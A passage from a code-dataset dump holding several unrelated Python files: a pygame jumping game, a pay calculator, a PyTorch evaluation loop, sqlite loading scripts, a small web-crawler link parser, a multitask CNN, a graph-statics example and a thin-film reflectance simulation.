path_iter_pluto)\nroot.mainloop()\n","sub_path":"easySpace_main.py","file_name":"easySpace_main.py","file_ext":"py","file_size_in_byte":37846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"138611748","text":"##total= int(hrs)*float(rate)\n#print('pay:',total)\n\nhrs = input(\"Enter hrs:\")\nrate = input('Enter rate')\n#prt=float(hrs)*float(rate)\nhr =float(hrs)\nrt = float(rate)\nif hr>40:\n prt=hr*rt\n ovt =(hr-40)*(rt*0.50)\n total = prt + ovt\nelse:\n total =hr*rt\nprint(\"your pay\",total)\n","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"132205703","text":"import pygame\r\nimport random\r\nfrom sprites import *\r\nfrom os import path\r\n\r\n#PROPERTIES:\r\nWHITE = (255, 255, 255)\r\nWIDTH = 500\r\nHEIGHT = 800\r\nFPS = 60\r\nPLATFORM_LIST = [(0, HEIGHT-40), (WIDTH - 400, HEIGHT* 3 / 4),\r\n (WIDTH - 250, 420), (WIDTH - 300, 275),\r\n (320, 200), (175, 125)]\r\nFONT_NAME = 'Courier New'\r\nHS_FILE = \"highscore.txt\"\r\nSMOKE_FREQ = 5000\r\nbg = pygame.image.load(\"wallpaper.png\")\r\n\r\nclass Game:\r\n def __init__(self):\r\n pygame.init()\r\n pygame.mixer.init()\r\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\r\n pygame.display.set_caption(\"Clean Up Clean HOP\")\r\n self.clock = pygame.time.Clock()\r\n self.running = True\r\n self.font_name = pygame.font.match_font(FONT_NAME)\r\n self.load_data()\r\n\r\n def load_data(self):\r\n self.dir = path.dirname(__file__)\r\n with open(path.join(self.dir, HS_FILE), 'r') as f:\r\n try:\r\n self.highscore = int(f.read())\r\n except:\r\n self.highscore = 0\r\n\r\n def new(self):\r\n self.score = 0\r\n self.all_sprites = pygame.sprite.LayeredUpdates()\r\n self.platforms = pygame.sprite.Group()\r\n self.smokes = pygame.sprite.Group()\r\n self.gases = pygame.sprite.Group()\r\n self.clouds = pygame.sprite.Group()\r\n self.oxygens = pygame.sprite.Group()\r\n self.player = Player(self)\r\n for plat in PLATFORM_LIST:\r\n p = Platform(self, *plat)\r\n self.smokes_timer = 0\r\n self.gas_timer = 0\r\n self.particle_timer = 0\r\n for i in range(5):\r\n c = Cloud(self)\r\n c.rect.y += 500\r\n self.run()\r\n\r\n def run(self):\r\n self.playing = True\r\n while self.playing:\r\n self.clock.tick(FPS)\r\n self.events()\r\n self.update()\r\n self.draw()\r\n\r\n def update(self):\r\n self.all_sprites.update()\r\n\r\n #FOR GAS ENEMIES\r\n now2 = pygame.time.get_ticks()\r\n if now2 - self.gas_timer > SMOKE_FREQ + random.choice([-1000, -700, 0, 700, 1000]):\r\n self.gas_timer = now2\r\n Gas(self)\r\n gas_hits = pygame.sprite.spritecollide(self.player, self.gases, True)\r\n if gas_hits:\r\n self.playing = False\r\n\r\n #FOR SMOKE ENEMIES\r\n now = pygame.time.get_ticks()\r\n if now - self.smokes_timer > SMOKE_FREQ + random.choice([-1000, -500, 0, 500, 1000]):\r\n self.smokes_timer = now\r\n Smokes(self)\r\n smoke_hits = pygame.sprite.spritecollide(self.player, self.smokes,\r\n False, pygame.sprite.collide_mask)\r\n if smoke_hits:\r\n self.playing = False\r\n\r\n #COLLISIONS\r\n if self.player.vel.y > 0:\r\n collision = pygame.sprite.spritecollide(self.player, self.platforms, False)\r\n if collision:\r\n lowest = collision[0]\r\n for hit in collision:\r\n if hit.rect.bottom > lowest.rect.bottom:\r\n lowest = hit\r\n if self.player.pos.x < lowest.rect.right + 10 and \\\r\n self.player.pos.x > lowest.rect.left - 10:\r\n if self.player.pos.y < lowest.rect.centery:\r\n self.player.pos.y = lowest.rect.top\r\n self.player.vel.y = 0\r\n self.player.jumping = False\r\n\r\n #PLATFORM KILLS\r\n if self.player.rect.top <= 250:\r\n if random.randrange(100) < 15:\r\n Cloud(self)\r\n self.player.pos.y += max(abs(int(self.player.vel.y)), 2)\r\n for cloud in self.clouds:\r\n cloud.rect.y += max(abs(int(self.player.vel.y / 2)), 2)\r\n for gas in self.gases:\r\n gas.rect.y += max(abs(int(self.player.vel.y)), 2)\r\n for smoke in self.smokes:\r\n smoke.rect.y += max(abs(int(self.player.vel.y)), 2)\r\n for plat in self.platforms:\r\n plat.rect.y += max(abs(int(self.player.vel.y)), 2)\r\n if plat.rect.top >= HEIGHT:\r\n plat.kill()\r\n self.score += 100\r\n\r\n #OXYGEN POWERUPS\r\n oxygen_hits = pygame.sprite.spritecollide(self.player, self.oxygens, True)\r\n for oxygen in oxygen_hits:\r\n if oxygen.type == 'boost':\r\n self.player.vel.y = -BOOST_POWER\r\n self.player.jumping = False\r\n\r\n #NEW PLATFORMS\r\n while len(self.platforms) < 7:\r\n width = random.randrange(50, 125)\r\n p = Platform(self, random.randrange(0, WIDTH-width),\r\n random.randrange(-70, -30))\r\n self.all_sprites.add(p)\r\n self.platforms.add(p)\r\n\r\n #WHEN CHARACTER DIES\r\n if self.player.rect.bottom > HEIGHT:\r\n for sprite in self.all_sprites:\r\n sprite.rect.y -= max(int(self.player.vel.y), 10)\r\n if sprite.rect.bottom < 0:\r\n sprite.kill()\r\n if len(self.platforms) == 0:\r\n self.playing = False\r\n\r\n def events(self):\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n if self.playing:\r\n self.playing = False\r\n self.running = False\r\n if event.type == pygame.KEYDOWN:\r\n #if event.key == pygame.K_DOWN:\r\n #self.player.duck()\r\n if event.key == pygame.K_SPACE:\r\n self.player.jump()\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_SPACE:\r\n self.player.jump_cut()\r\n\r\n def draw(self):\r\n self.screen.blit(bg, (0,0))\r\n self.all_sprites.draw(self.screen)\r\n self.screen.blit(self.player.image, self.player.rect)\r\n self.draw_text(str(self.score), 22, WHITE, int(WIDTH*0.5), 15)\r\n pygame.display.flip()\r\n\r\n def show_start_screen(self):\r\n self.screen.fill((47, 79, 79))\r\n self.draw_text(\"Clean UP Clean HOP\", 37, WHITE, WIDTH*0.5, 200)\r\n self.draw_text(\"Escape all Harmful Gases\", 22, WHITE, WIDTH/2, 300)\r\n self.draw_text(\"in the Sky!\", 22, WHITE, WIDTH/2, 330)\r\n self.draw_text(\"Press Any Key to Play\", 25, WHITE, WIDTH/2, 550)\r\n self.draw_text(\"High Score: \" + str(self.highscore), 22, WHITE, WIDTH/2, 15)\r\n pygame.display.flip()\r\n self.wait_key()\r\n\r\n def show_end_screen(self):\r\n self.screen.fill((47, 79, 79))\r\n self.draw_text(\"GAME OVER\", 40, WHITE, WIDTH*0.5, 200)\r\n self.draw_text(\"Score: \" + str(self.score), 25, WHITE, WIDTH*0.5, 50)\r\n self.draw_text(\"Press a Key to play again\", 25, WHITE, WIDTH*0.5, 400)\r\n if self.score > self.highscore:\r\n self.highscore = self.score\r\n self.draw_text(\"NEW HIGH SCORE!\", 22, WHITE, WIDTH*0.5, 440)\r\n with open(path.join(self.dir, HS_FILE), \"w\") as f:\r\n f.write(str(self.score))\r\n else:\r\n self.draw_text(\"High Score: \" + str(self.highscore), 22, (255, 255, 255), WIDTH / 2, 15)\r\n pygame.display.flip()\r\n self.wait_key()\r\n\r\n def wait_key(self):\r\n waiting = True\r\n while waiting:\r\n self.clock.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n waiting = False\r\n self.running = False\r\n if event.type == pygame.KEYUP:\r\n waiting = False\r\n\r\n def draw_text(self, text, font_size, colour, x, y):\r\n font = pygame.font.Font(self.font_name, font_size)\r\n text_surface = font.render(text, True, colour)\r\n text_rect = text_surface.get_rect()\r\n text_rect.midtop = (int(x), int(y))\r\n self.screen.blit(text_surface, text_rect)\r\n\r\ngame = Game()\r\ngame.show_start_screen()\r\nwhile game.running:\r\n game.new()\r\n game.show_end_screen()\r\n\r\npygame.quit()\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"584972675","text":"import numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom tqdm import tqdm\r\n\r\n# The function that predicts with a model given the model and a dataloader.\r\n\r\ndef evaluate(dataloader_val, model, device):\r\n\r\n model.eval()\r\n \r\n loss_val_total = 0\r\n predictions, true_vals = [], []\r\n \r\n for batch in tqdm(dataloader_val):\r\n \r\n batch = tuple(b.to(device) for b in batch)\r\n \r\n inputs = {'input_ids': batch[0],\r\n 'attention_mask': batch[1],\r\n 'labels': batch[2],\r\n }\r\n\r\n with torch.no_grad(): \r\n outputs = model(**inputs)\r\n \r\n loss = outputs[0]\r\n logits = outputs[1]\r\n loss_val_total += loss.item()\r\n\r\n logits = logits.detach().cpu().numpy()\r\n label_ids = inputs['labels'].cpu().numpy()\r\n predictions.append(logits)\r\n true_vals.append(label_ids)\r\n \r\n loss_val_avg = loss_val_total/len(dataloader_val) \r\n \r\n predictions = np.concatenate(predictions, axis=0)\r\n true_vals = np.concatenate(true_vals, axis=0)\r\n \r\n return loss_val_avg, predictions, true_vals\r\n","sub_path":"src/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"326239896","text":"import pandas as pd\nfrom pandas.io import sql\n\nimport sqlite3\nimport sys\n\n'''\n1. Load the CSV file using the method you created in the previous activity\n2. Store the dataframe in sqlite database\n3. Query the database and load the data into a new dataframe again\n'''\n\ndef read_csv(filename):\n return pd.read_csv(filename)\n\ndef store_in_sqlite(dataframe, tablename, dbname):\n conn = sqlite3.connect(dbname)\n\n cur = conn.cursor()\n cur.execute('DROP TABLE IF EXISTS ' + tablename)\n\n sql.to_sql(dataframe, name=tablename, con=conn)\n\ndef make_queries(dbname, tablename):\n conn = sqlite3.connect(dbname)\n cursor = conn.cursor()\n while(1):\n try:\n query = input('Enter your query: ')\n # load the answer into a new dataframe 'newdf'\n newdf = pd.read_sql_query(query, conn)\n # print the answer\n print(','.join(str(col) for col in newdf))\n for index, row in newdf.iterrows():\n print(','.join(str(row[col]) for col in newdf))\n except KeyboardInterrupt:\n print('\\nExit query time\\n')\n break\n cursor.close()\n conn.commit()\n\nif __name__ == '__main__':\n input_filename = 'Demographic_Statistics_By_Zip_Code.csv'\n table_name = 'Demographic_Statistic'\n database_name = 'Demographic.db'\n\n dataframe = read_csv(input_filename)\n print('Load the CSV file successfully\\n')\n\n store_in_sqlite(dataframe, table_name, database_name)\n print('Store the dataframe in sqlite database successfully\\n')\n \n print('Enter query time (Press Ctrl-C to exit :) )')\n make_queries(database_name, table_name)\n","sub_path":"Tut/02/activity_2.py","file_name":"activity_2.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"186211076","text":"import bisect\nimport string\nimport re\n\nclass PriorityQueue(list):\n def __init__(self):\n list.__init__(self)\n self.map = {}\n\n def push(self,item):\n if self.count(item) == 0:\n bisect.insort(self,item)#insert and sort\n self.map[item[1]] = item\n\n def pop(self):\n r = list.pop(self)\n del self.map[r[1]]\n return r\n\n def getitem(self,url):\n if self.map.has_key(url):\n return self.map[url]\n else:\n return None\n\n def empty(self):\n return len(self) == 0\n\n def remove(self,item):\n list.remove(self,item)\n del self.map[item[1]]\n \n #Binary search\n def count(self,item):\n if len(self) == 0:\n return 0\n left = 0\n right = len(self)-1\n mid = -1\n while left<=right:\n mid = (left+right)/2\n if self[mid] < item:\n left = mid+1\n elif self[mid] >item:\n right= mid-1\n else:\n break\n return self[mid] == item and 1 or 0\n \n \n\nclass Parser():\n def __init__(self,html):\n self.links = []\n re_pattern = \"\\shref=[\\\"']?([^\\\"'\\s>]+)[\\\"'\\s>]\"\n re_href = re.compile(re_pattern,re.IGNORECASE)\n for m in re_href.finditer(html):\n href = m.group(1)\n location = href.find(\"user\")\n if location == -1:\n href = \"http://buptoa.bupt.edu.cn\" + href\n #href = \"http://zsb.bupt.edu.cn/\" + href\n self.links.append(href)\n \nclass ParserForBKEmploy():#for the javascript reason\n def __init__(self,html,url):\n self.links = []\n re_pattern = \"\\shref=[\\\"']?([^\\\"'\\s>]+)[\\\"'\\s>]\"\n re_href = re.compile(re_pattern,re.IGNORECASE)\n for m in re_href.finditer(html):\n href = m.group(1)\n location = href.find(\"user\")\n if location == -1:\n #href = \"http://bbs.byr.cn\" + href#BYRbbs only gives the relative path href,so..\n #href = \"http://buptoa.bupt.edu.cn\" + href\n href = \"http://zsb.bupt.edu.cn/\" + href\n self.links.append(href)\n \n # location.href='?page=2'\" \n re_patternSecond = \"location.href=\\'(.+?)\\'\"\n re_hrefSecond = re.compile(re_patternSecond,re.IGNORECASE)\n for m in re_hrefSecond.finditer(html):\n href = m.group(1)\n urls = url.split(\"?\")\n href = urls[0]+ href\n self.links.append(href)\n\n\n \n","sub_path":"CloudCrawler/Tool.py","file_name":"Tool.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577130425","text":"import sys\nsys.path.append('../../vision_utils')\nimport torch.optim as optim\nfrom vision_utils.custom_torch_utils import initialize_model\nimport torch.nn as nn\n\n\nclass ConvModelMultiTask(nn.Module):\n \"\"\"custom Pytorch neural network module for multitask learning\"\"\"\n\n def __init__(self, model_name='vgg', feature_extract=True, use_pretrained=True):\n super(ConvModelMultiTask, self).__init__()\n self.conv_base, input_size = initialize_model(model_name, feature_extract, 'utk', use_pretrained)\n self.conv_base\n self.output_age = nn.Linear(128, 1)\n self.output_gender = nn.Linear(128, 2)\n self.output_race = nn.Linear(128, 5)\n\n def forward(self, x):\n x = self.conv_base(x)\n age = self.output_age(x)\n gender = self.output_gender(x)\n race = self.output_race(x)\n return age, gender, race\n\n\nmy_model = ConvModelMultiTask()\n# Define the optimizer\noptimizer = optim.Adam(\n [\n {\"params\": my_model.conv_base.classifier[6].parameters(), \"lr\": 1e-3},\n {\"params\": my_model.output_age.parameters(), \"lr\": 1e-3},\n {\"params\": my_model.output_gender.parameters(), \"lr\": 1e-3},\n {\"params\": my_model.output_race.parameters(), \"lr\": 1e-3},\n {\"params\": my_model.conv_base.classifier[0].parameters()},\n {\"params\": my_model.conv_base.classifier[3].parameters()},\n {\"params\": my_model.conv_base.features.parameters()}\n ],\n lr=1e-6,\n)\n","sub_path":"multitask_rag/models_examples/vgg11.py","file_name":"vgg11.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559150685","text":"\"\"\"Example from Fig. 9 in the paper. Compute the null space\nof the Jacobian matrix dX*/dX.\n\nauthor: Vedad Alic\nemail: vedad.alic@construction.lth.se\n\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nfrom compas_ags.diagrams import FormDiagram\nfrom compas_bi_ags.diagrams import ForceDiagram\nfrom compas_ags.viewers import Viewer\nfrom compas_bi_ags.bi_ags import graphstatics\n\nedges = [\n (0, 10),\n (1, 9),\n (2, 11),\n (3, 2),\n (4, 12),\n (5, 13),\n (6, 14),\n (7, 15),\n (8, 16),\n (2, 0),\n (0, 8),\n (8, 7),\n (7, 6),\n (6, 5),\n (5, 4),\n (4, 9),\n (9, 17),\n]\n\nvertices = [\n [3.62477467512, 2.99447312681, 0.0],\n [43.4972961014, -7.27758178128, 0.0],\n [0.0, 0.0, 0.0],\n [0.0, -7.27758178128, 0.0],\n [39.8725214263, 2.99447312681, 0.0],\n [32.6229720760, 6.81140730234, 0.0],\n [25.3734227258, 8.54514654776, 0.0],\n [18.1238733756, 8.54514654776, 0.0],\n [10.8743240253, 6.81140730234, 0.0],\n [43.4972961014, 0.0, 0.0],\n [3.62477467512, 10.2720549081, 0.0],\n [-3.52953624469, 0.0, 0.0],\n [39.8725214263, 10.2720549081, 0.0],\n [32.6229720760, 14.0889890836, 0.0],\n [25.3734227258, 15.8227283290, 0.0],\n [18.1238733756, 15.8227283290, 0.0],\n [10.8743240253, 14.0889890836, 0.0],\n [47.4502140636, 0.0, 0.0],\n]\n\nform = FormDiagram.from_vertices_and_edges(vertices, edges)\nforce = ForceDiagram.from_formdiagram(form)\n\nedges_ind = [\n (2, 11),\n]\n\nfor index in edges_ind:\n u, v = index\n form.edge[u][v]['is_ind'] = True\n form.edge[u][v]['q'] = -1.\n\n\n# set the fixed points\nleft = list(form.vertices_where({'x': 0.0, 'y': 0.0}))[0]\nright = list(form.vertices_where({'x': 43.4972961014, 'y': 0.0}))[0]\nfixed = [left, right]\n\nform.set_fixed(fixed)\nforce.set_anchor([5])\n\ngraphstatics.form_update_q_from_qind(form)\ngraphstatics.force_update_from_form(force, form)\n\n\n# store lines representing the current state of equilibrium\nform_lines = []\nfor u, v in form.edges():\n form_lines.append({\n 'start': form.vertex_coordinates(u, 'xy'),\n 'end' : form.vertex_coordinates(v, 'xy'),\n 'width': 1.0,\n 'color': '#cccccc',\n 'style': '--'\n })\n\nforce_lines = []\nfor u, v in force.edges():\n force_lines.append({\n 'start': force.vertex_coordinates(u, 'xy'),\n 'end' : force.vertex_coordinates(v, 'xy'),\n 'width': 1.0,\n 'color': '#cccccc',\n 'style': '--'\n })\n\n\n# --------------------------------------------------------------------------\n# Begin force diagram manipulation\n# --------------------------------------------------------------------------\nimport numpy as np\n_xy = np.array(force.xy(), dtype=np.float64).reshape((-1, 2))\n_x_min = min(_xy[:,0])\n\nmove_vertices = []\nfor i, v in enumerate(_xy):\n if v[0] > (_x_min-.1) and v[0] < (_x_min+.1):\n move_vertices.append(i)\n\n\nfrom compas_bi_ags.bi_ags.constraints import ConstraintsCollection, HorizontalFix, VerticalFix\nC = ConstraintsCollection(form)\nC.add_constraint(HorizontalFix(form, left))\nC.add_constraint(VerticalFix(form, left))\nC.add_constraint(HorizontalFix(form, right))\nC.add_constraint(VerticalFix(form, right))\nC.constrain_dependent_leaf_edges_lengths()\nconstraint_lines = C.get_lines()\n\nimport compas_bi_ags.bi_ags.rootfinding as rf\nns = rf.compute_nullspace(form, force, C)\nprint(\"Dimension of nullspace: \" + str(len(ns)))\n# --------------------------------------------------------------------------\n# End force diagram manipulation\n# --------------------------------------------------------------------------\n\n\n# --------------------------------------------------------------------------\n# Draw diagrams and nullspace mode i\n# --------------------------------------------------------------------------\ndef show(i):\n c = 10\n c += 1\n nsi = ns[i] * c\n # store lines representing the current null space mode\n form_lines = []\n for u, v in form.edges():\n form_lines.append({\n 'start': [x + y for x, y in zip(form.vertex_coordinates(u, 'xy'), nsi[u])],\n 'end' : [x + y for x, y in zip(form.vertex_coordinates(v, 'xy'), nsi[v])],\n 'width': 1.0,\n 'color': '#cccccc',\n 'style': '--'\n })\n\n\n form_lines = form_lines + constraint_lines\n # display the original configuration\n # and the configuration after modifying the force diagram\n\n viewer = Viewer(form, force, delay_setup=False)\n viewer.draw_form(lines=form_lines,\n forces_on=False,\n vertexlabel={key: key for key in form.vertices()},\n external_on=False,\n vertexsize=0.2,\n vertexcolor={key: '#000000' for key in fixed},\n edgelabel={uv: index for index, uv in enumerate(form.edges())}\n )\n\n viewer.draw_force(vertexlabel={key: key for key in force.vertices()},\n vertexsize=0.2,\n edgelabel={uv: index for index, uv in enumerate(force.edges())}\n )\n\n viewer.show()\nshow(3)","sub_path":"examples/bi_ags/example_rf_9.py","file_name":"example_rf_9.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"112950108","text":"import sqlite3\nimport pandas as pd\n\n\ndef connect_to_db(db_name='buddymove_holidayiq.sqlite3'):\n return sqlite3.connect(db_name)\n\n\ndef execute_query(cursor, query):\n cursor.execute(query)\n return cursor.fetchall()\n\n\n# df = pd.read_csv('buddymove_holidayiq.csv')\n# df.to_sql('buddymove_holidayiq', connect_to_db())\n\nDATAFRAME = \"SELECT * FROM buddymove_holidayiq\"\nNAT_AND_SHOP_OVER = \"\"\"SELECT count(Nature) NatureOver100\n FROM buddymove_holidayiq\n WHERE Nature > 100\n AND Shopping > 100;\"\"\"\n\n\nif __name__ == \"__main__\":\n conn = connect_to_db()\n curs = conn.cursor()\n # execute_query(curs, DATAFRAME)\n results = execute_query(curs, NAT_AND_SHOP_OVER[0][0])\n print('Number of people who reviewed over 100 in shopping and nature:', results)\n","sub_path":"module1-introduction-to-sql/buddymove_holidayiq.py","file_name":"buddymove_holidayiq.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"502831782","text":"#!/usr/bin/python\n\nusers = {\n 'aeinstein': {\n 'firstname':'albert',\n 'lastname':'einstein',\n 'location':'priceton',\n },\n\n 'mcurie': {\n 'firstname':'marie',\n 'lastname':'curie',\n 'location':'paris', \n }\n}\n\nfor username,user_infor in users.items():\n print(\"\\nUsername: \" + username)\n full_name = user_infor['firstname']+ ' '+user_infor['lastname']\n location = user_infor['location']\n print(\"\\tFull name: \" + full_name.title())\n print(\"\\tLocation: \"+ location.title())\n","sub_path":"Chapter06/many_usesr.py","file_name":"many_usesr.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"243214598","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math\r\n\r\ndef ThinSim():\r\n # Definitions of constants ######\r\n\r\n # Temperature in Kelvin\r\n t = 610\r\n\r\n # Refractive index and extinction coefficient of InP Base at given temperature\r\n # n0 = 3.075 * (1 + 2.7e-5 * t)\r\n # k0 = 1j * n0**2\r\n\r\n # Refractive index and extinction coefficient of GaAs at given temperature\r\n n1 = 3.255 * (1 + 4.5e-5 * t)\r\n k1 = 1j * n1**2\r\n\r\n # Refractive index and extinction coefficient of AlGaAs at specific Al percentage\r\n p = 0.42\r\n n2 = 3.3 - 0.53 * p + 0.09 * p**2\r\n k2 = 1j * n2**2\r\n\r\n # Refractive index of GaInAs dependant on % of In to Ga\r\n p2 = 0.47 # percentage of gallium\r\n n3 = 3.51 - (0.16 * p2)\r\n k3 = 1j * n3**2\r\n\r\n # Refractive index of medium (vacuum in this case)\r\n n0 = 1\r\n\r\n # Wavelength\r\n y = 633 * 10e-9\r\n\r\n # Admittance of free space\r\n Yf = 119.917 * math.pi\r\n\r\n # Growth rate in meters per second\r\n growth_rate = 3.88e-10\r\n\r\n # Defining the layer class ########\r\n\r\n\r\n class Layer():\r\n \"\"\"Data for a thin film layer.\"\"\"\r\n\r\n num_of_layers = 0\r\n growth_time = list()\r\n\r\n def __init__(self, material, refractive_index, extinction, growth_rate, thickness):\r\n \"\"\"Initialise layer attributes\"\"\"\r\n self.material = material\r\n self.refractive_index = refractive_index\r\n self.extinction = extinction\r\n self.growth_rate = growth_rate\r\n self.growth_time = int(thickness / growth_rate)\r\n\r\n Layer.num_of_layers += 1\r\n Layer.growth_time.append(self.growth_time)\r\n\r\n def transfer_matrix(self):\r\n \"\"\"Creates the transfer matrix for one thin film layer.\"\"\"\r\n # Time vector for this layer\r\n time = list(range(0, self.growth_time, 5))\r\n\r\n # List of layer thicknesses over time\r\n thick = list()\r\n for x in time:\r\n thicki = self.growth_rate * x\r\n thick.append(thicki)\r\n\r\n # d values list for layer\r\n d = list()\r\n for x in thick:\r\n di = abs((2 * math.pi * x * (self.refractive_index - self.extinction)) / y)\r\n d.append(di)\r\n\r\n TM = list()\r\n for x in d:\r\n TMi = ([math.cos(x), (1j * math.sin(x)) / (self.refractive_index * Yf)], [1j * self.refractive_index * Yf * math.sin(x), math.cos(x)])\r\n TM.append(TMi)\r\n\r\n return(TM)\r\n\r\n\r\n # Function to get admittance for a layer and ad to the list of admittance values\r\n\r\n def admt(TMatrix):\r\n for x in TMatrix:\r\n Yi = abs(x[1] / x[0])\r\n Y.append(Yi)\r\n\r\n ############ Layer Declaration ###############\r\n\r\n # Getting the transfer matrix for the GaAs layer using a class\r\n layer_1 = Layer('GaAs', n1, k1, 3.88e-10, 200e-9)\r\n\r\n lay1TM = layer_1.transfer_matrix()\r\n\r\n layer_2 = Layer('AlGaAs', n2, k2, 3.88e-10, 600e-9)\r\n\r\n lay2TM = layer_2.transfer_matrix()\r\n\r\n\r\n layer_3 = Layer('AlGaAs', n2, k2, 3.88e-10, 600e-9)\r\n\r\n lay3TM = layer_3.transfer_matrix()\r\n\r\n\r\n layer_4 = Layer('GaAs', n1, k1, 0.88e-10, 496e-10)\r\n\r\n lay4TM = layer_4.transfer_matrix()\r\n\r\n layer_5 = Layer('GaAs', n1, k1, 0.88e-10, 5e-9)\r\n lay5TM = layer_5.transfer_matrix()\r\n\r\n layer_6 = Layer('InGaAs', n3, k3, 0.08e-10, 2e-9)\r\n lay6TM = layer_6.transfer_matrix()\r\n\r\n\r\n # List of the layers\r\n layers = [lay1TM, lay2TM, lay3TM, lay4TM, lay5TM, lay6TM]\r\n\r\n ############# End Layer Declaration #############\r\n\r\n base = ([1], [n1 * Yf])\r\n\r\n # Creating the transfer matrices for the growth of layer 1 ########\r\n\r\n first = np.matmul(layers[0], base)\r\n\r\n # Admittance and Reflectance #############\r\n # List to store the admittance values\r\n Y = list()\r\n\r\n # Using a function to get 1st layer admittances\r\n admt(first)\r\n\r\n # Including other layers\r\n # Only runs if there are two or more layers\r\n if len(layers) >= 2:\r\n # pos list creates a list of ascending integers for the for loop to use, starts with just 0 for two layers\r\n pos = list(range(0, len(layers) - 1))\r\n # lay list is used for intermediate matrices. Last matrix of previous layer * all the matrices for the new layer are stored here.\r\n lay = list()\r\n # tmatrix is a list where each index holds a list of matrices for each layer.\r\n tmatrix = list()\r\n for x in pos:\r\n lay.append(np.matmul(layers[x + 1], layers[x][-1]))\r\n tmatrix.append(np.matmul(lay[x], base))\r\n layers[x + 1] = lay[x]\r\n for x in pos:\r\n admt(tmatrix[x])\r\n\r\n # Generates reflectance values from the list of admittance values\r\n R = list()\r\n for x in Y:\r\n Ri = abs(((n0 * Yf) - x) / ((n0 * Yf) + x) * np.conjugate(((n0 * Yf) - x) / ((n0 * Yf) + x)))\r\n R.append(Ri)\r\n\r\n # Total growth time\r\n\r\n time = list(range(0, len(R) * 5, 5))\r\n\r\n # Plotting the results\r\n fig_1, ax = plt.subplots()\r\n ax.plot(time, R)\r\n ax.set(xlabel='Time (s)', ylabel='Reflectance', title='jr104')\r\n ax.grid()\r\n\r\n plt.show()\r\n aList = [first, tmatrix, R]\r\n return aList\r\n\r\n# Verification graph ########\r\n\r\n# Gets the last reflectance value for each layer and plots against layer number, therefore giving reflectance value for each complete layer\r\ndef verf(first, tmatrix, R):\r\n layend = list()\r\n layend.append(len(first) - 1)\r\n tlist = list(range(0, len(tmatrix)))\r\n for x in tlist:\r\n layend.append(len(tmatrix[x]) + layend[x])\r\n\r\n layer_reflect = list()\r\n for x in tlist:\r\n layer_reflect.append(R[x])\r\n lay_num = list(range(1, len(layer_reflect) + 1))\r\n\r\n fig_2, ax = plt.subplots()\r\n ax.plot(lay_num, layer_reflect)\r\n ax.set(xlabel= 'Number of Layers', ylabel= 'Reflectance', title= 'Verification of model, layers vs reflectance')\r\n ax.grid()\r\n\r\n plt.show()\r\n\r\nList = ThinSim()\r\n\r\nverf(List[0], List[1], List[2])\r\n","sub_path":"Devlopment/transfer_matrix_GUItest.py","file_name":"transfer_matrix_GUItest.py","file_ext":"py","file_size_in_byte":6046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"333576489","text":"import sqlite3\n\nARTHEAD='head_0507.txt' # data source\nsqlite_file = 'Alignment.sqlite' # name of the sqlite database file\ntable_name = 'ARTMOCK' # name of the table to be created\ncolumn_1 = 'section_id' # name of the column_1 - section_id\ncolumn_2 = 'kingdom' # name of the column_2 - kingdome\ncolumn_3 = 'phylum' # name of the cloumn_3 - phylum\ncolumn_4 = 'class' # name of the cloumn_4 - class\ncolumn_5 = 'orders' # name of the cloumn_5 - orders\ncolumn_6 = 'family' # name of the cloumn_6 - family\ncolumn_7 = 'genus' # name of the cloumn_7 - genus\ncolumn_8 = 'species' # name of the cloumn_8 - species\n\n# Connecting to the database file\nconn = sqlite3.connect(sqlite_file)\nc = conn.cursor()\n\n# Strip redundant charactor, split strings into substrings and insert into database \nwith open(ARTHEAD, buffering=2000000000) as f:\n for line in f:\n processed = str(line).strip('>')\n tempSplit = processed.split('\\t')\n sectionID = str(tempSplit[0])\n fullTax = str(tempSplit[1]).split(';')\n\n c.execute(\"INSERT INTO {tn} ({c1}, {c2}, {c3}, {c4}, {c5}, {c6}, {c7}, {c8}) VALUES (?, ?, ?, ?, ?, ?, ?, ?)\"\\\n .format(tn=table_name, c1=column_1, c2=column_2, c3=column_3, c4=column_4, c5=column_5, c6=column_6, c7=column_7, c8=column_8),\\\n (sectionID, str(fullTax[0]), str(fullTax[1]), str(fullTax[2]), str(fullTax[3]), str(fullTax[4]), str(fullTax[5]),\\\n str(fullTax[6])))\n\n# Committing changes and closing the connection to the database file\nconn.commit()\nconn.close()","sub_path":"alignment/Kallisto_Bowtie_Comparison_Scripts/art_header.py","file_name":"art_header.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"303856380","text":"from datetime import datetime, timedelta\n\nimport backoff\nimport requests\nimport 